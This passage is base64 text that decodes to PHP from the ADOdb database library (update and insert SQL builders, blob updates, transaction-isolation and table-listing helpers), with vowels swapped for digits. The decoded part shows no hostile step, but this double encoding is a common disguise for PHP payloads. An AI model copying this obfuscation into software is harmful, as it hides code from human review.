sIC49ICcgV0hFUkUgJy4kd2g1cjU7DQoJCTVsczUgNGYgKCRtMmQ1ID09ICdVUERBVEUnIHx8ICRtMmQ1ID09IGEgLyogREJfQVVUT1FVRVJZX1VQREFURSAqLykgew0KCQkJQURPQzJubjVjdDQybjo6MjN0cCgnQTN0MkV4NWMzdDU6IElsbDVnMWwgbTJkNT1VUERBVEUgdzR0aCA1bXB0eSBXSEVSRSBjbDEzczUnKTsNCgkJCXI1dDNybiAkZjFsczU7DQoJCX0NCg0KCQkkcnMgPSYgJHRoNHMtPlM1bDVjdEw0bTR0KCRzcWwsNik7DQoJCTRmICghJHJzKSByNXQzcm4gJGYxbHM1OyAvLyB0MWJsNSBkMjVzIG4ydCA1eDRzdA0KCQkkcnMtPnQxYmw1TjFtNSA9ICR0MWJsNTsNCgkJDQoJCXN3NHRjaCgoc3RyNG5nKSAkbTJkNSkgew0KCQljMXM1ICdVUERBVEUnOg0KCQljMXM1ICdhJzoNCgkJCSRzcWwgPSAkdGg0cy0+RzV0VXBkMXQ1U1FMKCRycywgJGY0NWxkc192MWwzNXMsICRmMnJjNVVwZDF0NSwgJG0xZzRjcSk7DQoJCQlicjUxazsNCgkJYzFzNSAnSU5TRVJUJzoNCgkJYzFzNSAnNic6DQoJCQkkc3FsID0gJHRoNHMtPkc1dEluczVydFNRTCgkcnMsICRmNDVsZHNfdjFsMzVzLCAkbTFnNGNxKTsNCgkJCWJyNTFrOw0KCQlkNWYxM2x0Og0KCQkJQURPQzJubjVjdDQybjo6MjN0cCgiQTN0MkV4NWMzdDU6IFVua24yd24gbTJkNT0kbTJkNSIpOw0KCQkJcjV0M3JuICRmMWxzNTsNCgkJfQ0KCQkkcjV0ID0gZjFsczU7DQoJCTRmICgkc3FsKSAkcjV0ID0gJHRoNHMtPkV4NWMzdDUoJHNxbCk7DQoJCTRmICgkcjV0KSAkcjV0ID0gdHIzNTsNCgkJcjV0M3JuICRyNXQ7DQoJfQ0KCQ0KCQ0KCS8qKg0KCSAqIEc1bjVyMXQ1cyAxbiBVcGQxdDUgUTM1cnkgYjFzNWQgMm4gMW4gNXg0c3Q0bmcgcjVjMnJkczV0Lg0KCSAqICQxcnJGNDVsZHMgNHMgMW4gMXNzMmM0MXQ0djUgMXJyMXkgMmYgZjQ1bGRzIHc0dGggdGg1IHYxbDM1DQoJICogdGgxdCBzaDIzbGQgYjUgMXNzNGduNWQuDQoJICoNCgkgKiBOMnQ1OiBUaDRzIGYzbmN0NDJuIHNoMjNsZCAybmx5IGI1IDNzNWQgMm4gMSByNWMycmRzNXQNCgkgKgkgICB0aDF0IDRzIHIzbiAxZzE0bnN0IDEgczRuZ2w1IHQxYmw1IDFuZCBzcWwgc2gyM2xkIDJubHkgDQoJICoJCSBiNSAxIHM0bXBsNSBzNWw1Y3Qgc3RtdCB3NHRoIG4yIGdyMjNwYnkvMnJkNXJieS9sNG00dA0KCSAqDQoJICogIkoybjF0aDFuIFkyM25nNXIiIDxqeTIzbmc1ckAzbjRsMWIuYzJtPg0KICAJICovDQoJZjNuY3Q0Mm4gRzV0VXBkMXQ1U1FMKCYkcnMsICQxcnJGNDVsZHMsJGYycmM1VXBkMXQ1PWYxbHM1LCRtMWc0Y3E9ZjFsczUsJGYycmM1PW4zbGwpDQoJew0KCQlnbDJiMWwgJEFET0RCX0lOQ0xVREVEX0xJQjsNCg0KICAgICAgICAvLyoqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqLy8NCiAgICAgICAgLy9UaDRzIDRzIGg1cjUgdDIgbTE0bnQxNG4gYzJtcDF0NGI0bDR0eQ0KICAgICAgICAvL3c0dGggMmxkNXIgMWQyZGIgdjVyczQybnMuIFM1dHMgZjJyYzUgdHlwNSB0MiBmMnJjNSBuM2xscyA0ZiAkZjJyYzVuM2xscyA0cyBzNXQuDQoJCTRmICghNHNzNXQoJGYycmM1KSkgew0KCQkJCWdsMmIxbCAkQURPREJfRk9SQ0VfVFlQRTsNCgkJCSAgICAkZjJyYzUgPSAkQURPREJfRk9SQ0VfVFlQRTsNCgkJfQ0KCQkvLyoqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqLy8NCg0KCQk0ZiAoNW1wdHkoJEFET0RCX0lOQ0xVREVEX0xJQikpIDRuY2wzZDUoQURPREJfRElSLicvMWQyZGItbDRiLjRuYy5waHAnKTsNCgkJcjV0M3JuIF8xZDJkYl9nNXQzcGQxdDVzcWwoJHRoNHMsJHJzLCQxcnJGNDVsZHMsJGYycmM1VXBkMXQ1LCRtMWc0Y3EsJGYycmM1KTsNCgl9DQoNCgkvKioNCgkgKiBHNW41cjF0NXMgMW4gSW5zNXJ0IFEzNXJ5IGIxczVkIDJuIDFuIDV4NHN0NG5nIHI1YzJyZHM1dC4NCgkgKiAkMXJyRjQ1bGRzIDRzIDFuIDFzczJjNDF0NHY1IDFycjF5IDJmIGY0NWxkcyB3NHRoIHRoNSB2MWwzNQ0KCSAqIHRoMXQgc2gyM2xkIGI1IDFzczRnbjVkLg0KCSAqDQoJICogTjJ0NTogVGg0cyBmM25jdDQybiBzaDIzbGQgMm5seSBiNSAzczVkIDJuIDEgcjVjMnJkczV0DQoJICoJICAgdGgxdCA0cyByM24gMWcxNG5zdCAxIHM0bmdsNSB0MWJsNS4NCiAgCSAqLw0KCWYzbmN0NDJuIEc1dEluczVydFNRTCgmJHJzLCAkMXJyRjQ1bGRzLCRtMWc0Y3E9ZjFsczUsJGYycmM1PW4zbGwpDQoJewkNCgkJZ2wyYjFsICRBRE9EQl9JTkNMVURFRF9MSUI7DQoJCTRmICghNHNzNXQoJGYycmM1KSkgew0KCQkJZ2wyYjFsICRBRE9EQl9GT1JDRV9UWVBFOw0KCQkJJGYycmM1ID0gJEFET0RCX0ZPUkNFX1RZUEU7DQoJCQkNCgkJfQ0KCQk0ZiAoNW1wdHkoJEFET0RCX0lOQ0xVREVEX0xJQikpIDRuY2wzZDUoQURPREJfRElSLicvMWQyZGItbDRiLjRuYy5waHAnKTsNCgkJcjV0M3JuIF8xZDJkYl9nNXQ0bnM1cnRzcWwoJHRoNHMsJHJzLCQxcnJGNDVsZHMsJG0xZzRjcSwkZjJyYzUpOw0KCX0NCgkNCg0KCS8qKg0KCSogVXBkMXQ1IDEgYmwyYiBjMmwzbW4sIGc0djVuIDEgd2g1cjUgY2wxM3M1LiBUaDVyNSAxcjUgbTJyNSBzMnBoNHN0NGMxdDVkDQoJKiBibDJiIGgxbmRsNG5nIGYzbmN0NDJucyB0aDF0IHc1IGMyM2xkIGgxdjUgNG1wbDVtNW50NWQsIGIzdCAxbGwgcjVxMzRyNQ0KCSogMSB2NXJ5IGMybXBsNXggQVBJLiBJbnN0NTFkIHc1IGgxdjUgY2gyczVuIHMybTV0aDRuZyB0aDF0IDRzIDV4dHI1bTVseQ0KCSogczRtcGw1IHQyIDNuZDVyc3QxbmQgMW5kIDNzNS4gDQoJKg0KCSogTjJ0NTogJGJsMmJ0eXA1IHMzcHAycnRzICdCTE9CJyAxbmQgJ0NMT0InLCBkNWYxM2x0IDRzIEJMT0IgMmYgYzIzcnM1Lg0KCSoNCgkqIFVzMWc1IHQyIDNwZDF0NSAxICRibDJidjFsMzUgd2g0Y2ggaDFzIDEgcHI0bTFyeSBrNXkgYmwyYl80ZD02IDRudDIgMSANCgkqIGY0NWxkIGJsMmJ0MWJsNS5ibDJiYzJsM21uOg0KCSoNCgkqCVVwZDF0NUJsMmIoJ2JsMmJ0MWJsNScsICdibDJiYzJsM21uJywgJGJsMmJ2MWwzNSwgJ2JsMmJfNGQ9NicpOw0KCSoNCgkqIEluczVydCA1eDFtcGw1Og0KCSoNCgkqCSRjMm5uLT5FeDVjM3Q1KCdJTlNFUlQgSU5UTyBibDJidDFibDUgKDRkLCBibDJiYzJsKSBWQUxVRVMgKDYsIG4zbGwpJyk7DQoJKgkkYzJubi0+VXBkMXQ1QmwyYignYmwyYnQxYmw1JywnYmwyYmMybCcsJGJsMmIsJzRkPTYnKTsNCgkqLw0KCQ0KCWYzbmN0NDJuIFVwZDF0NUJsMmIoJHQxYmw1LCRjMmwzbW4sJHYxbCwkd2g1cjUsJGJsMmJ0eXA1PSdCTE9CJykNCgl7DQoJCXI1dDNybiAkdGg0cy0+RXg1YzN0NSgiVVBEQVRFICR0MWJsNSBTRVQgJGMybDNtbj0/IFdIRVJFICR3aDVyNSIsMXJyMXkoJHYxbCkpICE9IGYxbHM1Ow0KCX0NCg0KCS8qKg0KCSogVXMxZzU6DQoJKglVcGQxdDVCbDJiKCdUQUJMRScsICdDT0xVTU4nLCAnL3AxdGgvdDIvZjRsNScsICdJRD02Jyk7DQoJKgkNCgkqCSRibDJidHlwNSBzM3BwMnJ0cyAnQkxPQicgMW5kICdDTE9CJw0KCSoNCgkqCSRjMm5uLT5FeDVjM3Q1KCdJTlNFUlQgSU5UTyBibDJidDFibDUgKDRkLCBibDJiYzJsKSBWQUxVRVMgKDYsIG4zbGwpJyk7DQoJKgkkYzJubi0+VXBkMXQ1QmwyYignYmwyYnQxYmw1JywnYmwyYmMybCcsJGJsMmJwMXRoLCc0ZD02Jyk7DQoJKi8NCglmM25jdDQybiBVcGQxdDVCbDJiRjRsNSgkdDFibDUsJGMybDNtbiwkcDF0aCwkd2g1cjUsJGJsMmJ0eXA1PSdCTE9CJykNCgl7DQoJCSRmZCA9IGYycDVuKCRwMXRoLCdyYicpOw0KCQk0ZiAoJGZkID09PSBmMWxzNSkgcjV0M3JuIGYxbHM1Ow0KCQkkdjFsID0gZnI1MWQoJGZkLGY0bDVzNHo1KCRwMXRoKSk7DQoJCWZjbDJzNSgkZmQpOw0KCQlyNXQzcm4gJHRoNHMtPlVwZDF0NUJsMmIoJHQxYmw1LCRjMmwzbW4sJHYxbCwkd2g1cjUsJGJsMmJ0eXA1KTsNCgl9DQoJDQoJZjNuY3Q0Mm4gQmwyYkQ1YzJkNSgkYmwyYikNCgl7DQoJCXI1dDNybiAkYmwyYjsNCgl9DQoJDQoJZjNuY3Q0Mm4gQmwyYkVuYzJkNSgkYmwyYikNCgl7DQoJCXI1dDNybiAkYmwyYjsNCgl9DQoJDQoJZjNuY3Q0Mm4gUzV0Q2gxclM1dCgkY2gxcnM1dCkNCgl7DQoJCXI1dDNybiBmMWxzNTsNCgl9DQoJDQoJZjNuY3Q0Mm4gSWZOM2xsKCAkZjQ1bGQsICQ0Zk4zbGwgKSANCgl7DQoJCXI1dDNybiAiIENBU0UgV0hFTiAkZjQ1bGQgNHMgbjNsbCBUSEVOICQ0Zk4zbGwgRUxTRSAkZjQ1bGQgRU5EICI7DQoJfQ0KCQ0KCWYzbmN0NDJuIEwyZ1NRTCgkNW4xYmw1PXRyMzUpDQoJew0KCQk0bmNsM2Q1XzJuYzUoQURPREJfRElSLicvMWQyZGItcDVyZi40bmMucGhwJyk7DQoJCQ0KCQk0ZiAoJDVuMWJsNSkgJHRoNHMtPmZuRXg1YzN0NSA9ICcxZDJkYl9sMmdfc3FsJzsNCgkJNWxzNSAkdGg0cy0+Zm5FeDVjM3Q1ID0gZjFsczU7DQoJCQ0KCQkkMmxkID0gJHRoNHMtPl9sMmdzcWw7CQ0KCQkkdGg0cy0+X2wyZ3NxbCA9ICQ1bjFibDU7DQoJCTRmICgkNW4xYmw1ICYmICEkMmxkKSAkdGg0cy0+XzFmZjVjdDVkID0gZjFsczU7DQoJCXI1dDNybiAkMmxkOw0KCX0NCgkNCglmM25jdDQybiBHNXRDaDFyUzV0KCkNCgl7DQoJCXI1dDNybiBmMWxzNTsNCgl9DQoJDQoJLyoqDQoJKiBVczFnNToNCgkqCVVwZDF0NUNsMmIoJ1RBQkxFJywgJ0NPTFVNTicsICR2MXIsICdJRD02JywgJ0NMT0InKTsNCgkqDQoJKgkkYzJubi0+RXg1YzN0NSgnSU5TRVJUIElOVE8gY2wyYnQxYmw1ICg0ZCwgY2wyYmMybCkgVkFMVUVTICg2LCBuM2xsKScpOw0KCSoJJGMybm4tPlVwZDF0NUNsMmIoJ2NsMmJ0MWJsNScsJ2NsMmJjMmwnLCRjbDJiLCc0ZD02Jyk7DQoJKi8NCglmM25jdDQybiBVcGQxdDVDbDJiKCR0MWJsNSwkYzJsM21uLCR2MWwsJHdoNXI1KQ0KCXsNCgkJcjV0M3JuICR0aDRzLT5VcGQxdDVCbDJiKCR0MWJsNSwkYzJsM21uLCR2MWwsJHdoNXI1LCdDTE9CJyk7DQoJfQ0KCQ0KCS8vIG4ydCB0aDUgZjFzdDVzdCA0bXBsNW01bnQxdDQybiAtIHEzNGNrIDFuZCBkNHJ0eSAtIGpsNG0NCgkvLyBmMnIgYjVzdCBwNXJmMnJtMW5jNSwgM3M1IHRoNSAxY3QzMWwgJHJzLT5NNXQxVHlwNSgpLg0KCWYzbmN0NDJuIE01dDFUeXA1KCR0LCRsNW49LTYsJGY0NWxkMmJqPWYxbHM1KQ0KCXsNCgkJDQoJCTRmICg1bXB0eSgkdGg0cy0+X201dDFycykpIHsNCgkJCSRyc2NsMXNzID0gJHRoNHMtPnJzUHI1ZjR4LiR0aDRzLT5kMXQxYjFzNVR5cDU7DQoJCQkkdGg0cy0+X201dDFycyA9IG41dyAkcnNjbDFzcyhmMWxzNSwkdGg0cy0+ZjV0Y2hNMmQ1KTsgDQoJCQkkdGg0cy0+X201dDFycy0+YzJubjVjdDQybiA9JiAkdGg0czsNCgkJfQ0KCQlyNXQzcm4gJHRoNHMtPl9tNXQxcnMtPk01dDFUeXA1KCR0LCRsNW4sJGY0NWxkMmJqKTsNCgl9DQoJDQoJDQoJLyoqDQoJKiAgQ2gxbmc1IHRoNSBTUUwgYzJubjVjdDQybiBsMmMxbDUgdDIgMSBzcDVjNGY0NWQgbDJjMWw1Lg0KCSogIFRoNHMgNHMgM3M1ZCB0MiBnNXQgdGg1IGQxdDUgZjJybTF0cyB3cjR0dDVuIGQ1cDVuZDRuZyAybiB0aDUgY2w0NW50IGwyYzFsNS4NCgkqLw0KCWYzbmN0NDJuIFM1dEQxdDVMMmMxbDUoJGwyYzFsNSA9ICdFbicpDQoJew0KCQkkdGg0cy0+bDJjMWw1ID0gJGwyYzFsNTsNCgkJc3c0dGNoIChzdHJ0MjNwcDVyKCRsMmMxbDUpKQ0KCQl7DQoJCQljMXM1ICdFTic6DQoJCQkJJHRoNHMtPmZtdEQxdDU9IidZLW0tZCciOw0KCQkJCSR0aDRzLT5mbXRUNG01U3QxbXAgPSAiJ1ktbS1kIEg6NDpzJyI7DQoJCQkJYnI1MWs7DQoJCQkJDQoJCQljMXM1ICdVUyc6DQoJCQkJJHRoNHMtPmZtdEQxdDUgPSAiJ20tZC1ZJyI7DQoJCQkJJHRoNHMtPmZtdFQ0bTVTdDFtcCA9ICInbS1kLVkgSDo0OnMnIjsNCgkJCQlicjUxazsNCgkJCQkNCgkJCWMxczUgJ1BUX0JSJzogCQ0KCQkJYzFzNSAnTkwnOg0KCQkJYzFzNSAnRlInOg0KCQkJYzFzNSAnUk8nOg0KCQkJYzFzNSAnSVQnOg0KCQkJCSR0aDRzLT5mbXREMXQ1PSInZC1tLVknIjsNCgkJCQkkdGg0cy0+Zm10VDRtNVN0MW1wID0gIidkLW0tWSBIOjQ6cyciOw0KCQkJCWJyNTFrOw0KCQkJCQ0KCQkJYzFzNSAnR0UnOg0KCQkJCSR0aDRzLT5mbXREMXQ1PSInZC5tLlknIjsNCgkJCQkkdGg0cy0+Zm10VDRtNVN0MW1wID0gIidkLm0uWSBIOjQ6cyciOw0KCQkJCWJyNTFrOw0KCQkJCQ0KCQkJZDVmMTNsdDoNCgkJCQkkdGg0cy0+Zm10RDF0NT0iJ1ktbS1kJyI7DQoJCQkJJHRoNHMtPmZtdFQ0bTVTdDFtcCA9ICInWS1tLWQgSDo0OnMnIjsNCgkJCQlicjUxazsNCgkJfQ0KCX0NCg0KCWYzbmN0NDJuICZHNXRBY3Q0djVSNWMycmRzQ2wxc3MoJGNsMXNzLCAkdDFibDUsJHdoNXI1T3JkNXJCeT1mMWxzNSwkYjRuZDFycj1mMWxzNSwgJHByNG1rNXlBcnI9ZjFsczUpDQoJew0KCWdsMmIxbCAkX0FET0RCX0FDVElWRV9EQlM7DQoJDQoJCSRzMXY1ID0gJHRoNHMtPlM1dEY1dGNoTTJkNShBRE9EQl9GRVRDSF9OVU0pOw0KCQk0ZiAoNW1wdHkoJHdoNXI1T3JkNXJCeSkpICR3aDVyNU9yZDVyQnkgPSAnNj02JzsNCgkJJHIyd3MgPSAkdGg0cy0+RzV0QWxsKCJzNWw1Y3QgKiBmcjJtICIuJHQxYmw1LicgV0hFUkUgJy4kd2g1cjVPcmQ1ckJ5LCRiNG5kMXJyKTsNCgkJJHRoNHMtPlM1dEY1dGNoTTJkNSgkczF2NSk7DQoJCQ0KCQkkZjFsczUgPSBmMWxzNTsNCgkJDQoJCTRmICgkcjJ3cyA9PT0gZjFsczUpIHsJDQoJCQlyNXQzcm4gJGYxbHM1Ow0KCQl9DQoJCQ0KCQkNCgkJNGYgKCE0c3M1dCgkX0FET0RCX0FDVElWRV9EQlMpKSB7DQoJCQk0bmNsM2Q1KEFET0RCX0RJUi4nLzFkMmRiLTFjdDR2NS1yNWMycmQuNG5jLnBocCcpOw0KCQl9CQ0KCQk0ZiAoIWNsMXNzXzV4NHN0cygkY2wxc3MpKSB7DQoJCQlBRE9DMm5uNWN0NDJuOjoyM3RwKCJVbmtuMnduIGNsMXNzICRjbDFzcyA0biBHNXRBY3Q0djVSYzJyZHNDbDFzcygpIik7DQoJCQlyNXQzcm4gJGYxbHM1Ow0KCQl9DQoJCSQxcnIgPSAxcnIxeSgpOw0KCQlmMnI1MWNoKCRyMndzIDFzICRyMncpIHsNCgkJDQoJCQkkMmJqID0gbjV3ICRjbDFzcygkdDFibDUsJHByNG1rNXlBcnIsJHRoNHMpOw0KCQkJNGYgKCQyYmotPkVycjJyTXNnKCkpew0KCQkJCSR0aDRzLT5fNXJyMnJNc2cgPSAkMmJqLT5FcnIyck1zZygpOw0KCQkJCXI1dDNybiAkZjFsczU7DQoJCQl9DQoJCQkkMmJqLT5TNXQoJHIydyk7DQoJCQkkMXJyW10gPSAkMmJqOw0KCQl9DQoJCXI1dDNybiAkMXJyOw0KCX0NCgkNCglmM25jdDQybiAmRzV0QWN0NHY1UjVjMnJkcygkdDFibDUsJHdoNXI1PWYxbHM1LCRiNG5kMXJyPWYxbHM1LCRwcjRtazV5QXJyPWYxbHM1KQ0KCXsNCgkJJDFyciA9JiAkdGg0cy0+RzV0QWN0NHY1UjVjMnJkc0NsMXNzKCdBRE9EQl9BY3Q0djVfUjVjMnJkJywgJHQxYmw1LCAkd2g1cjUsICRiNG5kMXJyLCAkcHI0bWs1eUFycik7DQoJCXI1dDNybiAkMXJyOw0KCX0NCgkNCgkvKioNCgkgKiBDbDJzNSBDMm5uNWN0NDJuDQoJICovDQoJZjNuY3Q0Mm4gQ2wyczUoKQ0KCXsNCgkJJHI1eiA9ICR0aDRzLT5fY2wyczUoKTsNCgkJJHRoNHMtPl9jMm5uNWN0NDJuSUQgPSBmMWxzNTsNCgkJcjV0M3JuICRyNXo7DQoJfQ0KCQ0KCS8qKg0KCSAqIEI1ZzRuIDEgVHIxbnMxY3Q0Mm4uIE0zc3QgYjUgZjJsbDJ3NWQgYnkgQzJtbTR0VHIxbnMoKSAyciBSMmxsYjFja1RyMW5zKCkuDQoJICoNCgkgKiBAcjV0M3JuIHRyMzUgNGYgczNjYzU1ZDVkIDJyIGYxbHM1IDRmIGQxdDFiMXM1IGQyNXMgbjJ0IHMzcHAycnQgdHIxbnMxY3Q0Mm5zDQoJICovDQoJZjNuY3Q0Mm4gQjVnNG5UcjFucygpIA0KCXsNCgkJNGYgKCR0aDRzLT5kNWIzZykgQURPQzJubjVjdDQybjo6MjN0cCgiQjVnNG5UcjFuczogVHIxbnMxY3Q0Mm5zIG4ydCBzM3BwMnJ0NWQgZjJyIHRoNHMgZHI0djVyIik7DQoJCXI1dDNybiBmMWxzNTsNCgl9DQoJDQoJLyogczV0IHRyMW5zMWN0NDJuIG0yZDUgKi8NCglmM25jdDQybiBTNXRUcjFuczFjdDQybk0yZDUoICR0cjFuczFjdDQybl9tMmQ1ICkgDQoJew0KCQkkdHIxbnMxY3Q0Mm5fbTJkNSA9ICR0aDRzLT5NNXQxVHIxbnMxY3Q0Mm4oJHRyMW5zMWN0NDJuX20yZDUsICR0aDRzLT5kMXQxUHIydjRkNXIpOw0KCQkkdGg0cy0+X3RyMW5zbTJkNSAgPSAkdHIxbnMxY3Q0Mm5fbTJkNTsNCgl9DQovKg0KaHR0cDovL21zZG5hLm00Y3IyczJmdC5jMm0vNW4tVVMvbXM2N283ZW8uMXNweA0KaHR0cDovL2Q1di5teXNxbC5jMm0vZDJjL3I1Zm0xbi9pLjAvNW4vNG5uMmRiLXRyMW5zMWN0NDJuLTRzMmwxdDQybi5odG1sDQpodHRwOi8vd3d3LnAyc3RncjVzcWwuMnJnL2QyY3MvOC42LzRudDVyMWN0NHY1L3NxbC1zNXQtdHIxbnMxY3Q0Mm4uaHRtbA0KaHR0cDovL3d3dy5zdDFuZjJyZC41ZDMvZDVwdC80dHNzL2QyY3MvMnIxY2w1LzYwZy9zNXJ2NXIuNjA2L2I2MDdpOS9zdDF0NW01bnRzXzYwMDBpLmh0bQ0KKi8NCglmM25jdDQybiBNNXQxVHIxbnMxY3Q0Mm4oJG0yZDUsJGRiKQ0KCXsNCgkJJG0yZDUgPSBzdHJ0MjNwcDVyKCRtMmQ1KTsNCgkJJG0yZDUgPSBzdHJfcjVwbDFjNSgnSVNPTEFUSU9OIExFVkVMICcsJycsJG0yZDUpOw0KCQkNCgkJc3c0dGNoKCRtMmQ1KSB7DQoNCgkJYzFzNSAnUkVBRCBVTkNPTU1JVFRFRCc6DQoJCQlzdzR0Y2goJGRiKSB7IA0KCQkJYzFzNSAnMmM0OCc6DQoJCQljMXM1ICcycjFjbDUnOg0KCQkJCXI1dDNybiAnSVNPTEFUSU9OIExFVkVMIFJFQUQgQ09NTUlUVEVEJzsNCgkJCWQ1ZjEzbHQ6DQoJCQkJcjV0M3JuICdJU09MQVRJT04gTEVWRUwgUkVBRCBVTkNPTU1JVFRFRCc7DQoJCQl9DQoJCQlicjUxazsNCgkJCQkJDQoJCWMxczUgJ1JFQUQgQ09NTUlUVEVEJzoNCgkJCQlyNXQzcm4gJ0lTT0xBVElPTiBMRVZFTCBSRUFEIENPTU1JVFRFRCc7DQoJCQlicjUxazsNCgkJCQ0KCQljMXM1ICdSRVBFQVRBQkxFIFJFQUQnOg0KCQkJc3c0dGNoKCRkYikgew0KCQkJYzFzNSAnMmM0OCc6DQoJCQljMXM1ICcycjFjbDUnOg0KCQkJCXI1dDNybiAnSVNPTEFUSU9OIExFVkVMIFNFUklBTElaQUJMRSc7DQoJCQlkNWYxM2x0Og0KCQkJCXI1dDNybiAnSVNPTEFUSU9OIExFVkVMIFJFUEVBVEFCTEUgUkVBRCc7DQoJCQl9DQoJCQlicjUxazsNCgkJCQ0KCQljMXM1ICdTRVJJQUxJWkFCTEUnOg0KCQkJCXI1dDNybiAnSVNPTEFUSU9OIExFVkVMIFNFUklBTElaQUJMRSc7DQoJCQlicjUxazsNCgkJCQ0KCQlkNWYxM2x0Og0KCQkJcjV0M3JuICRtMmQ1Ow0KCQl9DQoJfQ0KCQ0KCS8qKg0KCSAqIElmIGQxdDFiMXM1IGQyNXMgbjJ0IHMzcHAycnQgdHIxbnMxY3Q0Mm5zLCAxbHcxeXMgcjV0M3JuIHRyMzUgMXMgZDF0MSAxbHcxeXMgYzJtbTR0NWQNCgkgKg0KCSAqIEBwMXIxbSAkMmsgIHM1dCB0MiBmMWxzNSB0MiByMmxsYjFjayB0cjFuczFjdDQybiwgdHIzNSB0MiBjMm1tNHQNCgkgKg0KCSAqIEByNXQzcm4gdHIzNS9mMWxzNS4NCgkgKi8NCglmM25jdDQybiBDMm1tNHRUcjFucygkMms9dHIzNSkgDQoJeyByNXQzcm4gdHIzNTt9DQoJDQoJDQoJLyoqDQoJICogSWYgZDF0MWIxczUgZDI1cyBuMnQgczNwcDJydCB0cjFuczFjdDQybnMsIHIybGxiMWNrcyAxbHcxeXMgZjE0bCwgczIgcjV0M3JuIGYxbHM1DQoJICoNCgkgKiBAcjV0M3JuIHRyMzUvZjFsczUuDQoJICovDQoJZjNuY3Q0Mm4gUjJsbGIxY2tUcjFucygpIA0KCXsgcjV0M3JuIGYxbHM1O30NCg0KDQoJLyoqDQoJICogcjV0M3JuIHRoNSBkMXQxYjFzNXMgdGgxdCB0aDUgZHI0djVyIGMxbiBjMm5uNWN0IHQyLiANCgkgKiBTMm01IGQxdDFiMXM1cyB3NGxsIHI1dDNybiAxbiA1bXB0eSAxcnIxeS4NCgkgKg0KCSAqIEByNXQzcm4gMW4gMXJyMXkgMmYgZDF0MWIxczUgbjFtNXMuDQoJICovDQoJCWYzbmN0NDJuIE01dDFEMXQxYjFzNXMoKSANCgkJew0KCQlnbDJiMWwgJEFET0RCX0ZFVENIX01PREU7DQoJCQ0KCQkJNGYgKCR0aDRzLT5tNXQxRDF0MWIxczVzU1FMKSB7DQoJCQkJJHMxdjUgPSAkQURPREJfRkVUQ0hfTU9ERTsgDQoJCQkJJEFET0RCX0ZFVENIX01PREUgPSBBRE9EQl9GRVRDSF9OVU07IA0KCQkJCQ0KCQkJCTRmICgkdGg0cy0+ZjV0Y2hNMmQ1ICE9PSBmMWxzNSkgJHMxdjVtID0gJHRoNHMtPlM1dEY1dGNoTTJkNShmMWxzNSk7DQoJCQkJDQoJCQkJJDFyciA9ICR0aDRzLT5HNXRDMmwoJHRoNHMtPm01dDFEMXQxYjFzNXNTUUwpOw0KCQkJCTRmICg0c3M1dCgkczF2NW0pKSAkdGg0cy0+UzV0RjV0Y2hNMmQ1KCRzMXY1bSk7DQoJCQkJJEFET0RCX0ZFVENIX01PREUgPSAkczF2NTsgDQoJCQkNCgkJCQlyNXQzcm4gJDFycjsNCgkJCX0NCgkJCQ0KCQkJcjV0M3JuIGYxbHM1Ow0KCQl9DQoJDQoJCQ0KCS8qKg0KCSAqIEBwMXIxbSB0dHlwNSBjMW4gNTR0aDVyIGI1ICdWSUVXJyAyciAnVEFCTEUnIDJyIGYxbHM1LiANCgkgKiAJCUlmIGYxbHM1LCBiMnRoIHY0NXdzIDFuZCB0MWJsNXMgMXI1IHI1dDNybjVkLg0KCSAqCQkiVklFVyIgcjV0M3JucyAybmx5IHY0NXdzDQoJICoJCSJUQUJMRSIgcjV0M3JucyAybmx5IHQxYmw1cw0KCSAqIEBwMXIxbSBzaDJ3U2NoNW0xIHI1dDNybnMgdGg1IHNjaDVtMS8zczVyIHc0dGggdGg1IHQxYmw1IG4xbTUsIDVnLiBVU0VSLlRBQkxFDQoJICogQHAxcjFtIG0xc2sgIDRzIHRoNSA0bnAzdCBtMXNrIC0gMm5seSBzM3BwMnJ0NWQgYnkgMmM0OCAxbmQgcDJzdGdyNXNxbA0KCSAqDQoJICogQHI1dDNybiAgMXJyMXkgMmYgdDFibDVzIGYyciBjM3JyNW50IGQxdDFiMXM1Lg0KCSAqLyANCglmM25jdDQybiAmTTV0MVQxYmw1cygkdHR5cDU9ZjFsczUsJHNoMndTY2g1bTE9ZjFsczUsJG0xc2s9ZjFsczUpIA0KCXsNCglnbDJiMWwgJEFET0RCX0ZFVENIX01PREU7DQoJDQoJCQ0KCQkkZjFsczUgPSBmMWxzNTsNCgkJNGYgKCRtMXNrKSB7DQoJCQlyNXQzcm4gJGYxbHM1Ow0KCQl9DQoJCTRmICgkdGg0cy0+bTV0MVQxYmw1c1NRTCkgew0KCQkJJHMxdjUgPSAkQURPREJfRkVUQ0hfTU9ERTsgDQoJCQkkQURPREJfRkVUQ0hfTU9ERSA9IEFET0RCX0ZFVENIX05VTTsgDQoJCQkNCgkJCTRmICgkdGg0cy0+ZjV0Y2hNMmQ1ICE9PSBmMWxzNSkgJHMxdjVtID0gJHRoNHMtPlM1dEY1dGNoTTJkNShmMWxzNSk7DQoJCQkNCgkJCSRycyA9ICR0aDRzLT5FeDVjM3Q1KCR0aDRzLT5tNXQxVDFibDVzU1FMKTsNCgkJCTRmICg0c3M1dCgkczF2NW0pKSAkdGg0cy0+UzV0RjV0Y2hNMmQ1KCRzMXY1bSk7DQoJCQkkQURPREJfRkVUQ0hfTU9ERSA9ICRzMXY1OyANCgkJCQ0KCQkJNGYgKCRycyA9PT0gZjFsczUpIHI1dDNybiAkZjFsczU7DQoJCQkkMXJyID0mICRycy0+RzV0QXJyMXkoKTsNCgkJCSQxcnJhID0gMXJyMXkoKTsNCgkJCQ0KCQkJNGYgKCRoMXN0ID0gKCR0dHlwNSAmJiA0c3M1dCgkMXJyWzBdWzZdKSkpIHsgDQoJCQkJJHNoMnd0ID0gc3RybmNtcCgkdHR5cDUsJ1QnLDYpOw0KCQkJfQ0KCQkJDQoJCQlmMnIgKCQ0PTA7ICQ0IDwgczR6NTJmKCQxcnIpOyAkNCsrKSB7DQoJCQkJNGYgKCRoMXN0KSB7DQoJCQkJCTRmICgkc2gyd3QgPT0gMCkgew0KCQkJCQkJNGYgKHN0cm5jbXAoJDFyclskNF1bNl0sJ1QnLDYpID09IDApICQxcnJhW10gPSB0cjRtKCQxcnJbJDRdWzBdKTsNCgkJCQkJfSA1bHM1IHsNCgkJCQkJCTRmIChzdHJuY21wKCQxcnJbJDRdWzZdLCdWJyw2KSA9PSAwKSAkMXJyYVtdID0gdHI0bSgkMXJyWyQ0XVswXSk7DQoJCQkJCX0NCgkJCQl9IDVsczUNCgkJCQkJJDFycmFbXSA9IHR